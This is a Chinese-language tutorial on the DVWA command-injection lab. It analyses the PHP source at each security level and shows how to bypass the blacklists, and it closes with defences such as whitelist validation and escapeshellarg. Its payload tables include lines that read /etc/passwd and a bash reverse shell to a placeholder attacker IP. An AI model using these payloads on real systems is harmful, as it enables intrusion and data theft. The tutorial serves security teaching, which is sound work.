DVWA从入门到精通(三):Command Injection(命令注入)
摘要:本文是《DVWA从入门到精通》系列的第三篇,带你全面掌握Command Injection(命令注入)模块的攻防全流程。从命令注入的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含命令连接符的详细讲解、黑名单绕过技巧、白名单防御原理以及PHP安全函数的使用方法,让你真正做到“知其然更知其所以然”。
一、什么是命令注入?
1.1 命令注入的核心原理
命令注入(Command Injection),是指攻击者通过提交恶意构造的参数,破坏命令语句的结构,从而达到执行恶意系统命令的目的。它是PHP应用程序中常见的脚本漏洞之一。
打个比方帮助理解:
想象一下,你家的智能门锁本来只认你输入的特定密码来执行“开门”这个动作。但如果这个门锁的设计有缺陷,它会把密码后面你胡乱加上的任何话,都当成开门指令的一部分。比如,你本来应该说“芝麻开门”,结果你说成了“芝麻开门 && 把保险柜也打开”,门锁居然真的把两件事都做了。命令注入,就是这么回事。
从技术角度来看:
命令注入漏洞的本质是应用程序将用户输入直接拼接到系统命令中,而没有进行必要的验证或转义。攻击者可以通过注入命令分隔符、管道、重定向等特殊字符,修改原始命令的意图,执行额外的恶意命令。
一个典型的漏洞场景:
$target = $_GET['ip']; system("ping -c 4 " . $target);用户输入127.0.0.1时,系统执行ping -c 4 127.0.0.1。但如果用户输入的是127.0.0.1 && cat /etc/passwd,拼接后的命令就变成了:
ping -c 4 127.0.0.1 && cat /etc/passwd在Linux/Unix的Shell中,&&是命令连接符,意思是“如果前面的命令执行成功,则执行后面的命令”。于是cat /etc/passwd(查看系统用户列表)就会被执行。
1.2 命令注入的危害
命令注入的危害等级通常被认为是“高危”甚至“严重”,因为一旦利用成功,几乎等同于拿到了服务器的命令行访问权限。具体危害包括:
| 危害 | 说明 |
|---|---|
| 执行系统命令 | 继承Web服务程序的权限执行任意系统命令 |
| 读写文件 | 读取敏感文件(如/etc/passwd、数据库配置文件) |
| 反弹Shell | 获取服务器的远程命令行控制权 |
| 控制服务器 | 完全控制整个网站甚至服务器 |
| 内网渗透 | 以服务器为跳板,攻击内网其他机器 |
1.3 命令连接符详解
在命令注入中,命令连接符是最核心的攻击武器。以下是常见的命令连接符及其功能:
| 连接符 | 功能 | 示例 |
|---|---|---|
& | 后台执行(Linux)/ 顺序执行(Windows) | ping 127.0.0.1 & whoami |
&& | 前面命令成功后才执行后面的命令(短路与) | ping 127.0.0.1 && whoami |
| | 将前一个命令的输出作为后一个命令的输入(管道) | ping 127.0.0.1 | whoami |
|| | 前面命令失败时才执行后面的命令(短路或) | ping 127.0.0.1 || whoami |
; | 顺序执行多条命令(Linux) | ping 127.0.0.1; whoami |
` | 命令替换(执行反引号内的命令) | ping 127.0.0.1 `whoami` |
$() | 命令替换(执行括号内的命令) | ping 127.0.0.1 $(whoami) |
关键区别:
&和&&:&是后台执行(Linux)或顺序执行(Windows),&&是有条件的执行(前命令成功才执行后命令)|和||:|是管道传递输出,||是有条件的执行(前命令失败才执行后命令);在Linux下直接顺序执行,在Windows CMD中不默认支持
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行,访问地址:http://你的服务器IP/dvwa/login.php,使用admin/password登录。
2.2 基础知识
了解基本的Linux/Windows命令行操作
熟悉常见的系统命令(如
whoami、id、cat、dir、ipconfig等)
2.3 必备工具
浏览器:Chrome / Firefox(F12开发者工具查看请求/响应)
Burp Suite:用于抓包和修改请求参数
三、Low级别:毫无防护的“裸奔”状态
3.1 安全级别设置
将DVWA Security设置为Low级别,然后进入Command Injection模块。
3.2 界面观察
Command Injection模块的界面非常简单——一个输入框和一个“Submit”按钮。页面上方提示:“Enter an IP address”(输入一个IP地址进行Ping测试)。
这个功能的本意是:用户输入一个IP地址,服务器执行ping命令,然后返回Ping的结果。
3.3 正常测试
先输入一个正常的IP地址,比如127.0.0.1,点击提交。
页面会返回类似这样的Ping结果:
3.4 源码分析
点击页面底部的“View Source”按钮,查看Low级别的核心代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>这段代码存在致命的命令注入漏洞:
完全没有过滤:
$target直接获取用户输入,未经任何验证或过滤直接拼接到系统命令:用户输入被直接拼接到
ping命令中结果回显:命令执行的结果会直接显示在页面上,方便攻击者确认攻击效果
3.5 攻击方法:利用命令连接符执行任意命令
由于没有过滤,攻击者可以使用任意命令连接符拼接恶意命令。
示例1:使用&&连接符(Linux)
输入:
127.0.0.1 && whoami实际执行的命令:
ping -c 4 127.0.0.1 && whoamiping命令执行成功后,whoami命令也会被执行,显示当前Web服务器的运行用户(通常是www或apache)。
示例2:使用|管道符
输入:
127.0.0.1 | id实际执行的命令:
ping -c 4 127.0.0.1 | idping的输出被传递给id命令,id命令会显示当前用户的UID和GID信息。
示例3:读取敏感文件(Linux)
输入:
127.0.0.1 && cat /etc/passwd这会读取系统的用户账户文件。
示例4:Windows系统命令
如果你的DVWA部署在Windows上,可以使用:
127.0.0.1 & ipconfig 127.0.0.1 & dir常用攻击Payload汇总:
| 目标 | Payload(Linux) | Payload(Windows) |
|---|---|---|
| 查看当前用户 | 127.0.0.1 && whoami | 127.0.0.1 & whoami |
| 查看系统信息 | 127.0.0.1 && uname -a | 127.0.0.1 & systeminfo |
| 读取敏感文件 | 127.0.0.1 && cat /etc/passwd | 127.0.0.1 & type C:\Windows\win.ini |
| 查看网络配置 | 127.0.0.1 && ifconfig | 127.0.0.1 & ipconfig |
| 反弹Shell | 127.0.0.1 && bash -i >& /dev/tcp/攻击IP/端口 0>&1 | 复杂,需借助工具 |
3.6 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 无任何输入过滤 | 用户输入直接拼接到系统命令 |
| 无任何转义处理 | 特殊字符(&、|、;等)未被处理 |
| 结果回显 | 命令执行结果直接显示在页面上 |
| 高危漏洞 | 可执行任意系统命令,控制服务器 |
四、Medium级别:黑名单的“第一次尝试”
4.1 安全级别设置
将DVWA Security切换为Medium级别。
4.2 观察变化
在Medium级别下,尝试输入127.0.0.1 && whoami,发现&&不再生效了。
4.3 源码分析
查看Medium级别的核心代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>Medium级别的变化:
引入了黑名单机制:使用
str_replace函数将&&和;替换为空字符串黑名单非常有限:只过滤了
&&和;两个连接符
4.4 黑名单的局限性
黑名单防御的核心问题是:你不可能列出所有可能的恶意输入。攻击者总能找到漏网之鱼。
在Medium级别中,虽然&&和;被过滤了,但以下连接符仍然可用:
&(Windows下顺序执行,Linux下后台执行)|(管道符)||(短路或)
4.5 攻击方法:利用未过滤的连接符
方法1:使用&连接符
输入:
127.0.0.1 & whoami&没有被过滤,命令成功执行。
方法2:使用|管道符
输入:
127.0.0.1 | whoami|也没有被过滤,命令成功执行。
方法3:使用||连接符
输入:
127.0.0.1 || whoami由于ping 127.0.0.1会成功,||后面的命令不会执行。但可以这样绕过:
不存在的IP || whoami4.6 Medium级别总结
| 改进 | 局限性 |
|---|---|
黑名单过滤&&和; | 仅过滤了2个连接符,其他连接符(&、|、||)仍然可用 |
使用str_replace替换 | 仅替换一次,不递归处理 |
| 黑名单机制本身有缺陷 | 攻击者总能找到未过滤的特殊字符 |
五、High级别:更全的黑名单,但仍有漏洞
5.1 安全级别设置
将DVWA Security切换为High级别。
5.2 源码分析
查看High级别的核心代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '||' => '', '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', ); // Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>High级别的变化:
黑名单更全面:过滤了
&、;、|、-、$、(、)、`、||等多个特殊字符仍然使用
str_replace:逐个替换,不递归处理
5.3 黑名单的致命缺陷
仔细观察黑名单,你会发现一个关键问题:
'| ' => '', // 注意:| 后面有一个空格!黑名单中过滤的是|(管道符+空格),而不是单独的|。
这意味着:如果攻击者输入127.0.0.1|whoami(管道符后面没有空格),str_replace就找不到匹配项,不会进行替换。
5.4 攻击方法:利用黑名单的漏洞
方法:使用不带空格的|
输入:
127.0.0.1|whoami由于黑名单中只有|(带空格),|(不带空格)不会被过滤,命令成功执行。
安全建议:在实际开发中,应该使用trim()函数删除字符串两端的空格,或者在黑名单中同时包含带空格和不带空格的版本。
5.5 High级别总结
| 改进 | 局限性 |
|---|---|
| 黑名单更全面(9个条目) | 黑名单中存在空格问题(|而非|) |
| 覆盖了更多特殊字符 | 仍然使用str_replace,存在绕过可能 |
| 黑名单机制本身有天然缺陷——总有遗漏 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为Impossible级别。
6.2 源码分析
查看Impossible级别的核心代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake echo '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>6.3 Impossible级别的防御体系
Impossible级别构建了多层防御体系,彻底杜绝了命令注入的可能性:
第一层:白名单验证(核心防御)
这是最关键的一层防御。代码将用户输入的字符串按.分割成四个部分,然后逐个检查每个部分是否都是数字,并且总共有4个部分。
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 只有合法的IP地址才能进入 }为什么白名单比黑名单更安全?
| 对比 | 黑名单 | 白名单 |
|---|---|---|
| 思路 | 列出所有“坏”的字符 | 只允许“好”的输入 |
| 覆盖性 | 总有遗漏 | 只允许特定格式 |
| 安全性 | 低(总有绕过方法) | 高(严格控制输入格式) |
| 适用场景 | 不推荐用于安全关键场景 | 推荐用于安全关键场景 |
白名单机制的核心思想是:只允许已知的、安全的输入,其他一切输入都被拒绝。
第二层:CSRF Token验证
代码使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致。这防止了攻击者通过CSRF(跨站请求伪造)方式发起攻击。
第三层:输入清理
使用stripslashes()去除输入中的反斜杠转义字符。
第四层:重新组合IP地址
即使用户输入的IP地址通过了数字验证,代码也会重新组合IP地址,而不是直接使用用户输入:
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];这确保了最终传递给shell_exec()的$target一定是一个合法的、只包含数字和点的IP地址,绝无可能包含任何特殊字符。
6.4 Impossible级别能否被绕过?
理论上,几乎不可能。
Impossible级别通过白名单验证彻底杜绝了命令注入的可能性。用户输入的任何非数字字符(如&、|、;、$等)都会导致验证失败,程序直接报错退出,根本不会执行任何系统命令。
即使攻击者输入127.0.0.1 && whoami,分割后的数组是['127', '0', '0', '1 && whoami'],第4个元素'1 && whoami'不是数字,验证失败,攻击失败。
6.5 Impossible级别总结
| 防御层 | 技术手段 | 作用 |
|---|---|---|
| 第一层 | 白名单验证(IP格式校验) | 只允许合法的IP地址,彻底阻断命令注入 |
| 第二层 | CSRF Token验证 | 防止跨站请求伪造攻击 |
| 第三层 | stripslashes()清理 | 去除转义字符 |
| 第四层 | 重新组合IP地址 | 确保最终输入是纯净的IP地址 |
七、防御命令注入的最佳实践
通过DVWA四个级别的对比,我们可以总结出防御命令注入的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 白名单验证 | 只允许特定格式的输入(如IP地址、数字等) | ⭐⭐⭐⭐⭐ |
| 使用安全函数 | 使用escapeshellarg()转义命令参数 | ⭐⭐⭐⭐⭐ |
| 避免执行外部命令 | 尽量使用PHP内置函数替代系统命令调用 | ⭐⭐⭐⭐ |
| 参数化/结构化输入 | 不要拼接字符串,使用结构化方式构建命令 | ⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 最小权限原则 | Web服务器以最低权限运行,降低攻击影响 | ⭐⭐⭐⭐ |
| 输入验证 | 验证输入的格式、长度、类型 | ⭐⭐⭐ |
| 日志记录 | 记录所有命令执行操作,便于审计 | ⭐⭐⭐ |
| 禁用危险函数 | 在php.ini中禁用shell_exec()、system()等函数 | ⭐⭐⭐ |
7.3 PHP安全函数详解
escapeshellarg()函数:
escapeshellarg()是PHP提供的专门用于防御命令注入的函数。它会将字符串转义为安全的Shell参数。
// 不安全的做法 $cmd = shell_exec('ping -c 4 ' . $target); // 安全的做法 $target_sanitized = escapeshellarg($target); $cmd = shell_exec('ping -c 4 ' . $target_sanitized);escapeshellarg()会将任何可能引起参数或命令结束的字符进行转义:
单引号
'转义为\'双引号
"转义为\"分号
;转义为\;其他特殊字符也会被正确处理
escapeshellcmd()函数:
escapeshellcmd()会把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|)、分号(;)、重定向(>)、从文件读入(<)等。
7.4 常见误区
在实际开发中,以下做法不能有效防御命令注入:
❌仅使用黑名单:总有遗漏的字符或绕过方法
❌仅使用
str_replace():不递归、不全面❌依赖前端验证:攻击者可以绕过前端直接发请求
❌使用
addslashes():不能完全防御Shell命令注入
八、Windows与Linux的差异
在实际的命令注入测试中,需要注意操作系统之间的差异:
| 特性 | Linux/Unix | Windows |
|---|---|---|
| Ping命令参数 | ping -c 4 IP | ping IP |
| 命令分隔符 | ;、&&、||、&、| | &、&&、||、|(;不默认支持) |
| 换行符注入 | %0a可作为命令分隔符 | %0a无效 |
| 敏感文件 | /etc/passwd、/etc/shadow | C:\Windows\win.ini等 |
| 用户信息命令 | whoami、id、uname -a | whoami、systeminfo |
测试建议:
如果靶机是Linux,优先使用
;、&&、|、||和%0a如果靶机是Windows,优先使用
&或|不确定操作系统时,可以同时尝试多种连接符
九、总结
本文围绕命令注入漏洞展开系统学习,我们先掌握其核心成因:程序直接拼接用户输入至系统命令,攻击者借助特殊拼接符号执行任意系统指令,区分 &、&&、|、||、;、`、$() 等各类命令连接符的作用与差异;再逐级实操分析 DVWA 四种安全等级,Low 无过滤可直接注入命令,Medium 仅黑名单拦截 &&、; 仍存在可绕过符号,High 过滤带空格的 | 却遗漏无空格 | 造成防护失效,Impossible 依靠输入白名单、CSRF Token、输入清洗实现完备防护;同时梳理出白名单校验、escapeshellarg () 转义、服务器最小权限等防护手段。命令注入漏洞危害性极高,被利用后攻击者可接管服务器,借助 DVWA 命令注入模块我们兼顾攻击绕过思路与安全防御逻辑,生产环境中采用白名单校验、尽量规避调用系统命令、遵循最小权限原则的多重防护方案,能够从根源杜绝命令注入风险。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
